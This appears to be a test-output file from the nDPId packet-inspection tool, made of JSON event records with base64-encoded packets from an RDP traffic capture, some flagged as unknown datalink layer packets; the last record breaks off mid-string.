+00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":836,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":956593,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnKU8UBAf9E8vAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":836,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":837,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":958303,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhJ0AAfwYnLsCoAo6sEAK5DT3NDkecqjX5vQ3PUBj1T+4FAABH0vvqzFrq5XHPsgH4F9uju9cEIDG\/IayEoZKo9jwiVZYOpJ2n7zrSZIGJBHyNjd0shfbnqJwFoc4zBr1qxGHquNPtKVUNlqJURQBIg6lVyloCFG+Bo8I148kclWH9qhnEUY5PYw4jpc6lGbKQjGQfEIKHS+LXaaHBC6uQQLqg\/txGygOxz1UUj2nEWULX1BG0VbFjsduYdUoaSFZcBRuZSYPx490+vBPU0UuY44p5c9fVidYTKzsXzfKpp5QE3oec0ba8Fq2NT606gV8X74CrND0rQlT2RxBFbOFW+vPzg3YD9Gay1vmRBDjnab27QfHrLI2URsqQx1y91hKp4R7OuUpyZgxyPg5VKcNL3QdEkZZYVmaJYCqi8k+6VWX2K7IMAuRLUZbY2BSnDcruRoh7aJxGl1l6THl57VKVxe5YGGxfWOs3Pc5QMkeMLiCobLCcxj3+Mzd+sIFDqnHrTkQI\/9xPBHz36ZVGDUmJeL+GOB3J95akwOu017FB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":837,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00959{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":838,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":958351,"pkt_caplen":494,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":494,"pkt_l4_len":0,"pkt":"AgAAAEUAAephKEAAfwYm5sCoAo6sEAK5DT3NDkecq7D5vQ3PUBj1T9cHAAAXAwMBvQAAAAAAAAEIDafxqFe1P+X56ke45eFrv0vhkvbu4\/DtYMYEO2VFZIKz0siiAEFiguaxtbMCTW2c7pPShVfb0cqKBhqtzleikaE5xIH5RGZ8\/hgVtnFCRovdzFpdTp2xnHWQRCI2NplN24bsKBVaqOxUKdfYzXIcdhXoG9cGG8eIwh3Pp2IabWGYhPAUkYSsCtIjMkbpXwvJ072EFT4J4UHst4D6AklLGu6GjkJEub4kR0SztLQ64bSQ4MnRPcfKcUiv4zf7IcV23an29cZ8verTrAysEaIRe89juqzDnEllP0EdE7DBueNQvitfGYHTTf1FRtlKGuxSZ6GHtU6Vpq4TJDAmyr7o\/gBvW+\/JRPoztA1DjrSri+9h+goU\/GMHIMUVezQw254iotD8w4jbvcbxYRC6kx8d0suWuIfSinlqMs4vVLZ8p6h7g9qBJ3HUKYqwgn7VpTBYIJUPzVDjmtunrJkDnnqeUERwuKl2gHHVjDZEljM+bGYjq0PKhaAuxsLzMU8f6hjak3spk\/5vuJs0MPkHcoCz5ycyHkTJMbaE+TwZlc00ZCC\/KO3NHLoIi7wcqJTTBzDkRAbHwrQ="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":838,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":839,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":958404,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnKuwUBAf9Ei7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":839,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":840,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":958848,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hKUAAfwYocsCoAo6sEAK5DT3NDkecrXL5vQ3PUBj1T5C6AAAXAwMAMAAAAAAAAAEJHYWj0ZnLeWIovaReGcAk4Q3ZXtcxe3Ywi4dKmZZGYvfHx12rHUea1g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":840,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":841,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":958882,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnK1yUBAf5kcHAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":841,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":842,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959114,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hKkAAfwYoccCoAo6sEAK5DT3NDkecraf5vQ3PUBj1T+sUAAAXAwMAMAAAAAAAAAEKeENuFvz63Gy16LeHNA5JDmKgsxDdnyxgp5siINfkoIxvmEAriA\/OMQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":842,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":843,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959139,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnK2nUBAf\/ka6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":843,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":844,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959302,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVhK0AAfwYoaMCoAo6sEAK5DT3NDkecrdz5vQ3PUBj1T13OAAAXAwMAOAAAAAAAAAEL7XCVlZuoft8IT05f3gVNDRHF950HAWqfi8QIoNeRdDPOIgjMVkiDVPz45f5flq4e"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":844,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":845,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959326,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnK3cUBAf\/kaFAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":845,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":846,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959530,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hLEAAfwYob8CoAo6sEAK5DT3NDkecrhn5vQ3PUBj1Tz+iAAAXAwMAMAAAAAAAAAEMfEuMR+0mdzg\/qXdFuqboOrP42qyfiuw2XQCewEREdm7DgvfBQtB9KA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":846,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":847,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959638,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnK4ZUBAf\/kZIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":847,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":848,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959726,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnK5OUBAf\/kYTAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":848,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":849,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":959845,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhLUAAfwYjqsCoAo6sEAK5DT3NDkecrk75vQ3PUBD1T5opAAAXAwMGbwAAAAAAAAENzeezT\/dZIbnnA8JKr55uCNa+YQrHv19MmidH6cc9Li0JfOtxDE4ctT0I5bj9Vl+3ToG7l2vj5vOmZj8Erhc3eMo0zcZawwywVgrG2MorFqa+Y\/PWTIsaHIWFtM\/Wr+kcDT0sCfCUG9nNzNAYbJXDKv4jc9htKWzR2HMYx3LVYIFOjfNLBzRD3bahMoYLyAR2fvXl4Wqj9Px+N79kH4RJTtzqMxiROVTr4kflpOSBQEMXIQ5qo+7jiJQlXvVQZHqb9slVsX9QGs2Ww48jmD1gc93kdHN9t3aPP9HPhdAbonfdH\/BC3esjThIWdOZSF2B74iYk6hMraA1YaPuiNaEQKYNQgrCSlhIblw01+UgbzwE5mSNhrxYvxkYUrSupYaliCVBLJd\/dAZFNhAU+xLw9biQWFslzARCvx9QURJVzK4mKcyCvuv5ZKS0+riQldhgnBfQJhvyFeiWE6yCY0ERyahljccfkmsAT\/authBrprlvhBkMmPQNa5w6D89kunhRQjnRnxWZSDsDEFhq6Q6aHic2D+WVCGOceMrTcSx2a3iEfvhxIDMI0\/0o1O+8aetcetCIm5lTJa2eSU7mcMTVZud2E6KXxu\/h14D6ttpq0UDdg+Np+lY2eCxgvIdktDAHCBGWlgTPCTGjVhszwXmHPD4sS0Cf8W9NTMQqd6pJeVejUwmuil+NmarYxuaEOisxgZVdhrLXV5HWnqz\/kLGxLZvqr5aRXfWF1AL5AwiojWceeCO8JxyDb12ZbiXHTAyLt\/BZ7afaG+BGqqD6aZ238Sg1QAn0tKP8SbAPUbp6uTyjVjxjTcmNzx718vfS37zR8Q3OaZ8nAQGuQALAwxJXjLJprhXCj6Qxce5ZcO4BYkEZEH0yndChEslcSS5goGVm3eJ5FCbyEH3\/Ro8gJNHzl70ZuoGRk2lv9iRjuTV2AHQKnxXyNRfaSjJDdUU\/8OIhJxeg5MqeY9g\/vOe631Ulm85hgQwgANjx+1cdzCeWwBAMYVbfxEcyWFGDth\/hP\/g6bZsGNyaXix4iowaXUfYvzE8fiXOQUQEWPa2IbunIZvXB0ZF29CdOaAWCeJkyiIXRJvtRnvEF8iW0TsEXEkV9CdiuPRlQuGsRnSvseItJZyet+8D2nwl9HO0j3kkyoEwpaTRerggSueqX8DVCJr0vIYWIFUi2mVT2y5J1s1A8QjvF0RLD8MjWPEuz2eavsvgvpjgPl3iZELqHASHK59ogZ+ma8Ukn0pQCxh8+oywcC2UR3BukYKOKvW2flhqyjhyyvFFE2lsbdTq4uOfj08PSyCn6uvi73OKeOWN3pM0IzuDFrgaCV4HJ+9PGoZCThl8bYPOJZ2sVXdDOh9jmExMFn+TW0d55welGdMUBIZtayZ7WQ2lQvRawkC9rVT2BC5KyOZt7oKijylTjwSD0W6WIsG6K7U53OWYYCg7qZTXLLQC2Ksc+UAa7VqCG\/vUohinQf1nqDvH6WhJHLMfj9FWBXw7sn\/h5xZ1mATEKCgnFbIKNSwTLCIhWm4Ucabrray7X5NhBs4CpkYsdQ973ljme5ChdqeoRlyaTJxJg9Mc5\/FwlK87j1sgj0G5z7Pb9xHghQf3x8PXxf0iI1WKvPMVRq7RW+XzexUnTjrxYj9w3DgludqkDNsgUur4yuTbwAudzTd3j6w9SgDkvKKdfg"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":849,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":850,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":960288,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhLkAAfwYnJ8CoAo6sEAK5DT3NDkecs0f5vQ3PUBj1T5\/5AAC+q+aD+djszamubkhX9gHtXFKMDtZH6xVqBofNdasOrkhPsNPtIXyw0IqiQJCUlFIJySDbxNjdcd6977qlOUG0cX8hkew9PDGz4HqRGXKn9b1jD9\/c6RQg8VFecet4ZFW7GymTUcW5rEgoBBo892Cto5gfV2xzOC+xEDOS\/ZCxEjas5EXkbM2Aw1WUiqSbg3Hx4zOAMGQE5uy4Q96UYSw6wUB+A9B4Dk1CPTql\/kplzrqJGPTs8Tfmx5XhsYaILQRrmzpqTKc9Pucnylso9\/YNmXzZbafCJZjXDfnuUPWO0LJYdEb7Chphu1aJyj8gaBfaW9kbeCSMNzir4voAOFLpfj15SgyGSFFyzwJgPRBQyl+JwtDTNrxIR0dLGSW1adP+NXMVYLVs\/eoA7vX9pUmswPlFyK5BdDNZFC3XIHAqdRyLJ+ph+c85EKGq54D2LOl4wl8WAa80ILn12LcF9A83OidV\/bq5ALZnadQ+K5gkZTW4WQu\/PS7FCzCz"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":850,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":851,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":960525,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnLTCUBAf9D+pAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":851,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02069{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":852,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":960906,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhL0AAfwYjqMCoAo6sEAK5DT3NDkectML5vQ3PUBD1TwtxAAAXAwMGbwAAAAAAAAEO11EON2kCRHNpqt+J4wzR3FkAz6w6i+TDpsJNCL5LuLRUkxhQ0w8cX1UFk45kY0YlPzID64z\/tY54qnbBnGQfH5GgBc6RmGlaEc3RrASTz5x1RPkvA40sN4Oac3Yot0zVvFgqdpi+10o2LP4BNPXyM0MmNe6664YX2CjSIO0ASf6dg8AS+N5QNNk2kJ6InxF3owyfUN9vCtmX04a24b8iJ6ecLtPJ\/XwKqy4HZlhXj0uzwxglamFp7PkMyjFBKrfBfXRKxYvSxvFPuNIypdlOOth1qhN4DIwId1b7+lbCymHINZA4d+qCfKBGDUwN8R0FWFB59DbuX2wq3LsmUh3AvakafmH3Z1lsaR86Q1zKOaKT\/ndtBwqxTD06pZXRO\/Lb1vsJusZwaZM2oR0Nj9z\/VGl6EBcFHmoDt3gYVH3hpoyOUpj94NuccN6LH6sKptsmaHyoIEOr2d7QFwsB60sFOcfIWfwD1kDx4QFKwQpXtCQEa9WIIB7TIvurzlujAEXTFhcLOW2TlpPVXBzB\/rDA3PXQrKlZa9yzyvJ6wJlPLOgeVrI0SeECIzMswPFCj+b1bpMlwkLQqh5WtQXWA1tkqCE04Upw39PcM4M\/FvzeKs8b7OofVYc4IPeyVbxofgJdcp2a5s3CDg96KVw9KdEJ1L9QK7iQdVI6WNemHuviRsSyP5\/AU5XLTaVMouvKxGLS1MXCjaVrj3CzO4dLABFyIiBofjzkKWBKBFCc6OpcqzLEJ6GDEnaMqEtW5YcwsoWUt4mG4znqYumkEkLW0Hxkqi7K3t6Tf7tpu6ZiGzh9krGbplNhLxDT7TJ4P9qUYTKCb0m1euAOcyaYMuUD0Uam\/aS9USr4\/LtpBU8rr0eK5xMRqkabpiVHLzR1F0XMHfdLwdrElLx8bJWsd6sp7zPgYXee2q9\/cdP7tKDAwklW\/30qj9asYiZL8+WgcXR9NvIZ8IpTxBWjqsj5gKyve8vEvoTLSJeWVYN2iYEvYEOoE9Rix6M1aO6Fpkti2BRDNcxwpkm6S8tFDndKwa5zGnvSrh1s3Ft+NuubIUj7ZMX6rI0sVFdO5g1QNHK0HkzgVkCsyYaqLXOGGooJXvUIznSGaoiyHzLSexf6IfZmG8FG766SbcfkEpbAcqKy5Je5o6ro17BCtfunCMKB14r3DC8ByeP8XNKM+eVb3RJ\/H5J+rLhE8jMULHPCqccbRvzircYvE4f12a38Wou6o9yGcOhDGjRZ1qUTjuRU2BrIAwLz+5gnFmrQIvYmCKZoS0EM\/+HHl1RtwW88QiDbeAI+IXtuXJXf1UaFK8woeOQ5ChOgPCcS+QsiwjA5FbWTOgESFx797FWniDyuJfLzZBdKMfZEt9munCw7le7jqqX+pzvtQmVxX6gMChMhLEfivRQRLqu8U+PSj7GT+YDswtedB4kCoLkp3El0p+2J2wwqapnez0NPqk1PC8YH8KkPiCxku1q3lspPWm\/R5vxFDBsz31eJ4JAkPOGwuJUCG2KwZeguaEEqkdSkQqz7iJsLE9ICxwB2vG\/LylWew28agqu9IYFIs3OgtzxboBCkAR\/vHU4Dxty34xQooBYbWWTzi67uFijf5eMcAkUkALHy0vhjkjafpvp8UJuoaRToVflk\/YY4mG60IAYRYODiJ\/zJj5nlBcZIHv2GGKfjIYhh2Wnp"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":852,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":853,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961005,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhMEAAfwYnJcCoAo6sEAK5DT3NDkecubv5vQ3PUBj1TzoTAACT7PoWdQJrCHxtdHFd0blkmEP9WMbOzCps5TUb8ZMR7voz4kuocd1Ab1zFlerWk8kGl0FoGEP+rUbq5IQ5UAQSu1NORLYBpODjyqbFBDcvS8wpTOwIr6juw6fAsBfbShQTWTTHgeC61rYk6J1ymVNLY+5J2\/gs\/In8nyS0j\/YJIR6HhRbN+8Ga+uhgPn5jji8AopUmT9FSdNvExnOcldlws3lOSLPMysTNZh\/V5K9uqVBuo63OoFPosckjnvxW5WVAw+xG4w8EJlFwawxW4UpAXgKypbmpIktUzELCcB1lltTqkclIxH3Gbg+FYzwfr\/3BMwaoPMAw6uacxxMmGjYuKfhdsooUskTeAWW+mdn0K\/UsmHTDiHo3ysoK2OLnfkbVqbWPNX88kBOVVEL+HJWp8U5FAzkF2UJ2vFPeonRrFyEQnWA800o\/vzZAwKsXh\/ry49WtI3RgffdHhAvINWg0lJYAaSTU2GcEWbJO\/oUpwSUG0pb5k7Mj6xo5"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":853,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":854,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961046,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnLs2UBAf9Dk1AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":854,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":855,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961103,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hMUAAfwYoasCoAo6sEAK5DT3NDkecuzb5vQ3PUBj1T+5BAAAXAwMAMAAAAAAAAAEPmatIU7uCQs2vpIZQ+acJ4XlgFbuo6JEfCO4u6v0A+BumL6PJp\/tUQQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":855,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":856,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961144,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnLtrUBAf\/jj2AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":856,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":857,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961410,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hMkAAfwYoacCoAo6sEAK5DT3NDkecu2v5vQ3PUBj1T1SwAAAXAwMAMAAAAAAAAAEQSJuOxczmnNKwc8HjvnbLMc4bghHQOJxMRZkIkglFpwvm0OjdoLhKBA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":857,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":858,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961567,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnLugUBAf\/jjBAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":858,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02069{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":859,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961812,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhM0AAfwYjpMCoAo6sEAK5DT3NDkecu6D5vQ3PUBD1T9z3AAAXAwMGbwAAAAAAAAERYx7BUc4ZqGFPsHKgCNR+ojvZxzlfM2qJp1OtoaLTnGoVdEnq8JEuCepNAOtWHyOIKdsjFRDhMfWiQjTonPj7ABM8V31arwTNLw2bPsnqV9ovGpX6dtpZD\/g+N0eXZWORoN5IwMND8+yzwcKx5bJ5ujTy2qDdyZKm7tzf3pYIC3RkZEYHO+EE11zlP+c8A0gOn+5ASvK5hJeNOUpiDx784Q+wIVoS\/LoE9\/irZpExjFcOVGcOoNjsVpUlQ2Ex86Ite+5XyKYTiGNrRZmHXfe7Wu4oDZFwr1KKhjE8wfmHHnbzi+zTWM+2Z2xcwOURAAZBawHyENlDxg9RBWWoDCmaSdYWomzV7KVh0JeBP7LTp2mlR5K7z9Lf9sywn29j+zebXfhs6HisOZxwPsKpWgEPb867HdJfttoixUiOnGCUPE6KVF3to1vgb9ICCgy+NEF3mS6C0TvSc3qiRMZgsbjQuFlBmOio84c0Sq9v1rmkZvkgptjX6P6Kgb2tiJL5YNrloHRRcwYCbwAvF+S7BuVpUgt7E\/NBn1K2mOdSYHxc9Drc5EuP1+ptXC53dqq0vQRVb5punOP3L38OgWvKqmMw9kpSPfdkdHhESdzDCuPEEGVlCQIe46nVRtQQ2jL\/jCgbTjLL4p8eaLz\/SZcI55jijI\/4tHSxFYb24fNAqZi6tZlBsttzdMxkZQKhD5S2m827zT2yeYbYQ+JcPevR2hTNPzGgomIRXilMJ4SCGg8A1TAhY6H8LxscTpz60\/LisKQvbpug0t9ZS6q030Zihf5rvlhHulN7m0wSWkY2J4jb1dzpymOzmG8x1b19Tgjb4K5W3PbMe1qY\/XI2Z1u+x3dtVEra0NxIk1Dgu4HeaSbIbTYmNtrlqNZ06jC3ZhuKYN03xiaWnwW6u6ihHC1GWxjbLPo7UhoMvm05t8Cnbm\/kRkP2rJXddgWaL7pJRNSxAZwTaV9UnAM8h6LLwX1M0A7xUTJHdIYZQxS9Xs5kSqIMelBRdyKeUSfFquWIzZjkrf2QbgE4hTpdWgyVegkxCDD50nkTrF8NT07f4js06PDNWL8faiUp\/WeS59uTqULIkx9XLJZYIt6vuV3C5WCH82hU5yL2uPPiSz3QK8mSkFmbl16HMECiDWZgEu8yeUCnhiKYh6SBdnl1sE1bVtvMssZOP8HpMqg+3yvWdaUffeMQ3r0+bM6BaStn8nmMkkZagircG0+9pgMO6LwXs2uysHmeukdn4DG9PRSZDJnic00fkCLsGjGoDhNC6zl20R+yU\/M\/2qlEZBm0thlsC3TN+7ZgH9bVR65KzfTtsMS9JS49Ytf\/N31jyOg08o\/\/3oF1AzIhL8a4swSUzViyjALpWbAT9uxqRbT9B5He3V0gOQPVZbuo4Xo59\/8xsR5xvhNuEh2yrthnMPHrtinpGZAWoXqExXOVfbn6oFhA6MzI1icGzzMUw0uc21eeMHul4RlPQkk\/patktNjOBycLmXlSJGzrRx8MHddK6yGRWZYC78PtAGnzymR0h6pIS7+wo43uE1JMNGVnprcW5I5lMYsysdzzo9nJRrUUXDn01q0NGJbyXmGJwR4I+GN+3M87E2F1Ich3Eq1CYjJ9QwwRQNH8ffnOD8rqgGGDd9azBkiutq7kII+pY9kB+uM5ND1